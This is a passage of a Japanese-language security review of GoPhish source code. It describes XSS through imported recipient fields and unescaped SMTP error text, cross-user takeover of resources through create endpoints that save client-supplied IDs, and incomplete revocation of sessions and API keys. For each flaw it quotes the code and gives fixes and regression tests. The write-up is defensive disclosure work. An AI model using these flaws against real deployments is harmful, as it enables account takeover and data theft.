&lt;span class="nx"&gt;tmpl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;template&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"template"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;Parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;buff&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;tmpl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;buff&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;text/template&lt;/code&gt;は、HTMLのコンテキストに応じたエスケープを行いません。そのため、受信者フィールドにインポートされた値は、ランディングページが対応するテンプレート変数を使用すると、マークアップになり得ます。実行コンテキストは&lt;strong&gt;ターゲットのブラウザー内のフィッシング用ランディングページのオリジン&lt;/strong&gt;であり、自動的にGoPhishの管理用オリジンになるわけではありません。影響を評価する際には、この境界が重要です。&lt;/p&gt;
&lt;p&gt;関連する信頼の遷移は単純ですが危険です。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;CSV / API recipient value
        &amp;darr; stored as recipient metadata
campaign template variable (for example, a name field)
        &amp;darr; text/template executes the page
target browser receives attacker-controlled markup
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;このリスクは技術的なものであると同時に運用上のものでもあります。チームは、人事システム、スプレッドシート、サードパーティ、テスト用データセットなどから受信者リストをインポートすることがよくあります。取り込みの時点では値は連絡先データに見えるかもしれませんが、テンプレートエンジンがそれをHTMLドキュメントに配置した後は、実行可能なブラウザーコンテンツになっています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;想定シナリオ：現実的なリストがアクティブなページになる&lt;/strong&gt;：キャンペーンのオペレーターが、別の事業部門から提供されたスプレッドシートをインポートし、各受信者に名前で挨拶するランディングページを作成します。オペレーターから見えているのはデータのインポートのワークフローですが、アプリケーションは後に、受信者が制御する置換を含むHTMLテンプレートとして扱います。ターゲットがキャンペーンのリンクを開くと、ブラウザーが扱っているのはもはや名前のフィールドではなく、インポートとテンプレートのレンダリングの段階を生き残ったマークアップです。ターゲットはGoPhishにアクセスする必要がなく、オペレーターは大きなリストの中の安全でない値に気付かないかもしれません。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="CSVからランディングページへのXSS経路をサニタイズして示した確認結果" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-16_gophish-source-review/csv-xss-evidence.png" title="サニタイズしたCSV XSSのエビデンス"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;サニタイズしたCSV XSSのエビデンス&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図3：サニタイズしたローカル検証のエビデンス。無害なアラートにより、合成した受信者フィールドがインポートとランディングページのレンダリングの境界を越えたことが確認できます。実際のターゲットデータや認証情報は表示していません。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エンジニアリング上の優先事項&lt;/strong&gt;：出力コンテキストごとにレンダリングを分割する。HTMLのランディングページには&lt;code&gt;html/template&lt;/code&gt;を、プレーンテキストのコンテンツにはテキストとして安全なレンダリングを使い、必要に応じてURLやヘッダーを明示的に検証する。共有の&lt;code&gt;ExecuteTemplate&lt;/code&gt;関数を丸ごと置き換えてはならない。この関数はメール本文、URL、ヘッダー、添付ファイルにも使われているからである。トラッカーなど、システムが生成する信頼できるHTMLのために、範囲を狭く限定した型付きの仕組みを維持し、インポートされた連絡先データは、管理者のCSVに由来するものであっても信頼できないものとして扱う。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;維持すべきリグレッションテスト&lt;/strong&gt;：HTMLやJavaScriptのコンテキストで意味を持つ文字を含む受信者レコードを作成し、サポートされているすべての受信者フィールドをランディングページにレンダリングし、ブラウザーが実行可能なマークアップではなくエンコードされたテキストを受け取ることをアサートする。悪用可能性が決まるのはシンクであるため、CSVのパースだけでなく、ランディングページのレンダラーをテストする。&lt;/p&gt;
&lt;h2 id="4. smtpの失敗が管理パネルのxssシンクになる"&gt;4. SMTPの失敗が管理パネルのXSSシンクになる&lt;/h2&gt;
&lt;p&gt;次の経路は、Webアプリケーションの外部から始まりました。SMTPサーバーがエラーレスポンスの一部を制御します。バックエンドは&lt;code&gt;error&lt;/code&gt;をイベントの詳細に変換し、HTMLエンコードせずに永続化します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// models/result.go&lt;/span&gt;
&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;Result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;HandleEmailError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;error&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;EventSendingError&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;EventError&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;()},&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// event is persisted with the campaign result&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;キャンペーン結果のクライアント側コードは、後でイベントの詳細をパースし、&lt;code&gt;details.error&lt;/code&gt;を直接HTMLに連結します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;details&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;results&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;div class="timeline-event-results"&amp;gt;'&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;results&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;span class="label label-default"&amp;gt;Error&amp;lt;/span&amp;gt; '&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;details&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;results&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;/div&amp;gt;'&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;これにより、管理者が後で該当するキャンペーン結果を開いたときに、管理パネルにおける格納型XSSの経路が生まれます。関連する反射型の経路も存在し、キャンペーン作成画面がテストメール送信操作から返されたAPIのエラーメッセージをHTMLエンコードせずに挿入する場合に生じます。これは推測による文字列マッチングではありません。同じコードベースの別の箇所、つまり送信プロファイルのUIでは、&lt;code&gt;escapeHtml()&lt;/code&gt;を呼び出す安全なパターンが示されています。&lt;/p&gt;
&lt;p&gt;リスクが生じる場面は2つあります。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;経路&lt;/th&gt;
&lt;th style="text-align: left;"&gt;信頼できない生成元&lt;/th&gt;
&lt;th style="text-align: left;"&gt;ブラウザーのシンク&lt;/th&gt;
&lt;th style="text-align: left;"&gt;重要な理由&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;格納型&lt;/td&gt;
&lt;td style="text-align: left;"&gt;キャンペーンのイベントとともに永続化されたSMTP配信の失敗&lt;/td&gt;
&lt;td style="text-align: left;"&gt;キャンペーン結果のタイムライン&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ペイロードは、管理者が配信の失敗を調査するのを待ち受ける。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;反射型&lt;/td&gt;
&lt;td style="text-align: left;"&gt;テストメールAPIが返すSMTPの失敗&lt;/td&gt;
&lt;td style="text-align: left;"&gt;キャンペーン作成画面のエラー領域&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ペイロードは、通常の運用操作中にただちに表示される。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;文字列の出どころも重要です。SMTPのレスポンスは外部のプロトコルメッセージです。それを信頼できるUIコンテンツとして扱うことは、信頼境界を2回越えることになります。1回目はネットワークからアプリケーションへ、2回目はアプリケーションデータからDOMのHTMLへです。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="サニタイズしたSMTPエラーの検証エビデンス" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-16_gophish-source-review/smtp-xss-evidence.png" title="サニタイズしたSMTP XSSのエビデンス"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;サニタイズしたSMTP XSSのエビデンス&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図4：サニタイズしたローカルのSMTP検証エビデンス。テスト用リスナーは、格納型および反射型の経路のチェックで使用する無害なSMTPエラーのペイロードを送出します。シークレットや稼働中のエンドポイントの詳細は表示していません。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;シンクが認証済みの管理用オリジン内にあるため、影響は見た目だけのUIエラーよりも大きくなります。レビュー対象のUIは、&lt;code&gt;templates/base.html&lt;/code&gt;でアクティブなユーザーのAPI認証情報をブラウザーのJavaScriptに露出しており、DOMベースのXSSの修復は特に急を要します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;想定シナリオ：インシデント対応者が標的になる&lt;/strong&gt;：あるキャンペーンで配信の失敗が返され始めます。管理者は、製品が想定しているとおりの行動をとります。キャンペーンのタイムラインを開き、失敗したイベントを展開し、問題を理解するためにエラーを読みます。その瞬間、メールインフラが供給した値がHTMLとしてDOMに挿入されます。防御のためのワークフロー、つまりメールの失敗の調査が、管理コンソールにおけるブラウザー側での実行のトリガーになるのです。反射型の経路は、オペレーターがキャンペーンを開始する前に送信プロファイルをテストするときに、ワークフローのより早い段階で同じリスクをもたらします。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エンジニアリング上の優先事項&lt;/strong&gt;：&lt;code&gt;textContent&lt;/code&gt;、jQueryの&lt;code&gt;.text()&lt;/code&gt;、または一貫したHTMLエスケープのヘルパーを使ってエラーをテキストのまま保つ。エラー文字列をHTMLに連結しない。そして、ブラウザーでレンダリングされるJavaScriptから長期間有効なシークレットを取り除く。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;維持すべきリグレッションテスト&lt;/strong&gt;：モックしたSMTPの失敗にマークアップ風のテキストを注入し、キャンペーン結果のレンダラーとテストメールのエラーレンダラーの両方をブラウザーレベルのテストでテストする。アサーションは構造的なものとする。UIがテキストノードを表示すること、エラーから要素が作られないこと、インラインのイベントハンドラーやURL属性が解釈されないことを確認する。&lt;/p&gt;
&lt;h2 id="5. 作成用エンドポイントがユーザー間の更新用エンドポイントとして振る舞う"&gt;5. 作成用エンドポイントがユーザー間の更新用エンドポイントとして振る舞う&lt;/h2&gt;
&lt;p&gt;評価では、リソース作成用のハンドラーが&lt;code&gt;id&lt;/code&gt;を含むJSONボディを受け付け、リクエスト元の&lt;code&gt;UserId&lt;/code&gt;を付与し、その後GORMの&lt;code&gt;Save&lt;/code&gt;で永続化するモデル関数を呼び出すというパターンが特定されました。IDがゼロでない場合、&lt;code&gt;Save&lt;/code&gt;は挿入ではなく更新になります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// controllers/api/template.go &amp;mdash; POST path&lt;/span&gt;
&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;UserId&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"user_id"&lt;/span&gt;&lt;span class="p"&gt;).(&lt;/span&gt;&lt;span class="kt"&gt;int64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;models&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;PostTemplate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// models/template.go&lt;/span&gt;
&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;Error&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;これは、グループ、メールテンプレート、ランディングページ、SMTPプロファイルの作成パスに影響します。他のユーザーの既知のリソースIDを指定できるユーザーは、レコードの再割り当てや上書きを引き起こせます。グループの場合、保持されたターゲットの関連付けによって結果がより深刻になります。所有権の移転後、攻撃者はそのグループと、すでにそれに紐付けられているターゲットを読み取ることができます。&lt;/p&gt;
&lt;p&gt;同じ結論を&lt;strong&gt;過度に一般化すべきではありません&lt;/strong&gt;。テンプレート、ページ、SMTPプロファイルの場合、実証された中核的な問題は、認可されていない所有権の移転と破壊的な変更です。IDを知っているだけで、更新前の旧レコードの機密性の高い値が必ずしも開示されるわけではありません。&lt;/p&gt;
&lt;p&gt;この問題を単に「IDOR」と呼ぶのが狭すぎるのはこのためです。根底にある設計上の問題は、&lt;strong&gt;曖昧な永続化のセマンティクス&lt;/strong&gt;です。作成としてルーティングされたリクエストが、それでも既存のオブジェクトを変更できてしまうのです。読み取りと削除の操作では、いくつかのモデルクエリに所有権の条件が正しく含まれていますが、POSTから&lt;code&gt;Save&lt;/code&gt;への経路は、その所有権の境界を迂回する別のルートを生み出しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;想定シナリオ：リソースが知らないうちに持ち主を変える&lt;/strong&gt;：2人のユーザーが同じGoPhishのインストールを共有していますが、キャンペーンのデータは共有すべきではありません。一方のユーザーが、社内演習のための機密性の高いターゲットグループを作成します。もう一方の認証済みユーザーが、アプリケーションが作成リクエストと呼ぶものを送信しますが、そのリクエストには既存のリソース識別子が含まれています。永続化レイヤーはゼロでない主キーを更新として扱い、2人目のユーザーの所有権を適用します。その後、元のユーザーは、通常の所有者スコープのクエリによってアクセスを拒否されます。グループの場合は、既存のターゲットの関連付けによってこの破綻が特に重大になります。その他のリソースタイプでは、確認された影響は認可されていない乗っ取りと業務の妨害です。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="既存のIDを指定した作成リクエストによって、認証済みのテストユーザーが合成したターゲットグループを乗っ取る様子を示した、サニタイズ済みのAgentic Deep Scanのエビデンス。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-16_gophish-source-review/agentic-deep-scan-access-control-evidence.png" title="サニタイズしたAgentic Deep Scanのアクセス制御のエビデンス"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;サニタイズしたAgentic Deep Scanのアクセス制御のエビデンス&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図5：ユーザー間のリソース乗っ取りの経路に関する、サニタイズしたAgentic Deep Scanのエビデンス。アカウント名、受信者データ、APIキー、エンドポイントの詳細は合成したものです。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;重要な設計上の洞察は、&lt;code&gt;GET&lt;/code&gt;ハンドラーにチェックを追加するだけでは認可を修復できないということです。データモデルは、読み取り時には完璧にスコープされていても、書き込みの経路がサーバー側で所有すべき識別子を受け付け、永続化の前に所有者を変更してしまえば、侵害され得ます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エンジニアリング上の優先事項&lt;/strong&gt;：作成と更新の操作を区別する。POSTでクライアントが指定したIDを拒否し、明示的な挿入操作を使い、すべての更新と読み取りをリソースIDと所有者の両方でスコープし、すべてのリソースタイプに対して2人のユーザーを使ったテストを追加する。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;維持すべきリグレッションテスト&lt;/strong&gt;：グループ、テンプレート、ページ、SMTPプロファイルのそれぞれについて、ユーザーAとしてオブジェクトを作成し、ユーザーBとしてそのオブジェクトの識別子を含むPOSTを送信し、リクエストが拒否され、保存されている所有者、コンテンツ、関連レコードが変更されないことをアサートする。&lt;code&gt;Save&lt;/code&gt;の挙動がこの問題の中心であるため、このテストは実際の永続化レイヤーに対して実行しなければならない。&lt;/p&gt;
&lt;h2 id="6. ログアウトとパスワード変更ですべてのベアラー認証情報が失効されるわけではない"&gt;6. ログアウトとパスワード変更ですべてのベアラー認証情報が失効されるわけではない&lt;/h2&gt;
&lt;p&gt;GoPhishは、最大有効期間が5日間の、署名および暗号化されたCookieセッションを使用しています。鍵はプロセスの起動時に生成されます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sessions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;NewCookieStore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="nb"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;securecookie&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;GenerateRandomKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="nb"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;securecookie&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;GenerateRandomKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="nx"&gt;Store&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;MaxAge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;86400&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ログアウトの実装は、サーバー側で認証情報を無効化するのではなく、現在のCookieを変更します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// controllers/route.go&lt;/span&gt;
&lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"session"&lt;/span&gt;&lt;span class="p"&gt;).(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;sessions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Values&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Save&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;w&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ログアウトは新たに発行されるCookie内のセッション識別子をクリアしますが、この設計にはサーバー側のセッションレジストリや失効リストがありません。以前に奪取された、まだ有効なCookieは、有効期限まで使用可能なまま残り得ます。パスワード変更でもAPIキーは自動的にローテーションされません。APIキーはデータベースに保存されたベアラー認証情報であるため、プロセスを再起動するとCookieの署名は無効になりますが、&lt;strong&gt;APIキーはローテーションされません&lt;/strong&gt;。これは元のレポートに対する重要な訂正です。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;RequireAPIKey&lt;/code&gt;は、APIキーによってユーザーを取得し、&lt;code&gt;AccountLocked&lt;/code&gt;や&lt;code&gt;PasswordChangeRequired&lt;/code&gt;を評価することなく、それをリクエストコンテキストに格納します。つまり、有効なまま残っているAPIキーは、Webログインの状態が変わった後でもAPIへのアクセスを保持し得るということです。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;アカウントのイベント&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Cookieセッションの挙動&lt;/th&gt;
&lt;th style="text-align: left;"&gt;APIキーの挙動&lt;/th&gt;
&lt;th style="text-align: left;"&gt;望ましいセキュリティ特性&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;ログアウト&lt;/td&gt;
&lt;td style="text-align: left;"&gt;現在のブラウザーはクリアされるが、以前の有効なCookieはサーバー側で失効されない&lt;/td&gt;
&lt;td style="text-align: left;"&gt;変化なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;意図された範囲のすべてのアクティブな認証情報を失効させる。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;パスワード変更&lt;/td&gt;
&lt;td style="text-align: left;"&gt;既存のCookieは有効期限前に必ずしも無効化されない&lt;/td&gt;
&lt;td style="text-align: left;"&gt;変化なし&lt;/td&gt;
&lt;td style="text-align: left;"&gt;セッションとAPIキーをローテーションまたは無効化する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;アカウントロック / 強制変更&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アカウントがロックされている場合、新たな対話型ログインは拒否されるが、既存のCookieセッションは拒否されない。パスワード変更の状態はWebリクエストに対して強制される&lt;/td&gt;
&lt;td style="text-align: left;"&gt;APIミドルウェアはキーを検証するだけ&lt;/td&gt;
